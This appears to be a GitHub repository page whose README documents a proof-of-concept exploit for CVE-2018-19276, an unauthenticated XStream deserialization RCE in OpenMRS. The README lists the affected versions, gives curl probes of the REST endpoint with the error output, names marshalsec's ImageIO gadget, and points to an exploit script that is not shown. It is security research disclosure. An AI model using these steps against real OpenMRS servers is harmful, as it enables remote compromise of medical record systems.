https://github.com/mpgn/cve-2018-19276
CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
https://github.com/mpgn/cve-2018-19276
openmrs rce
Last synced: 9 months ago
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CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
- Host: GitHub
- URL: https://github.com/mpgn/cve-2018-19276
- Owner: mpgn
- Created: 2019-03-11T21:28:55.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2019-03-11T21:35:31.000Z (over 7 years ago)
- Last Synced: 2025-04-04T21:40:20.640Z (over 1 year ago)
- Topics: openmrs, rce
- Language: Python
- Size: 6.84 KB
- Stars: 16
- Watchers: 3
- Forks: 6
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# CVE-2018-19276 OpenMRS Insecure Object Deserialization RCE
From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
> Insecure object deserialization allows Arbitrary Code Execution without needing to log in. IP restrictions on Webservices module do not prevent this attack.
* all versions of OpenMRS Platform 2.1.x < 2.1.4
* all versions of OpenMRS Platform 2.0.x < 2.0.8
* all versions of OpenMRS Platform 1.12.x < 1.12.1
* all versions of OpenMRS Reference Application 2.8.x < 2.8.1
* all versions of OpenMRS Reference Application 2.7.x < 2.7.2
* all versions of OpenMRS Reference Application 2.6.x < 2.6.2
Found by Nicolas Serra from Security Associate at Bishop Fox.
### Proof Of Concept
Let's check how the REST webservices of OpenMRS works using the official [documentation](https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls):
```
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
```
Let's check the fix:
* https://github.com/openmrs/openmrs-module-webservices.rest/pull/369
* https://github.com/openmrs/openmrs-module-webservices.rest/pull/372
We can find this information:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
They basically filter the **Content-type** of POST request when it's XML, so maybe XXE or an Insecure Deserialization :+1:
Let's check the documentation again:
Well, this is nice, what append if we send XML to the REST webservice ?
```
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
```
The error give something very interesting : **xstream.XStreamMarshaller**
Let's try to use the awesome tool [marshalsec](https://github.com/mbechler/marshalsec) to trigger an RCE using Java Deserialization.
Let's check available gadget:
```
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
```
At this point, I just use the github search on every gadget of **XStream** to find an and occurrence. Only the gadget **ImageIO** look promising:
Let's try it:
That it !
### Exploit
```
python CVE-2018-19276.py
```
### Ressource:
* https://issues.openmrs.org/browse/RESTWS-742
* https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/
* https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
* https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls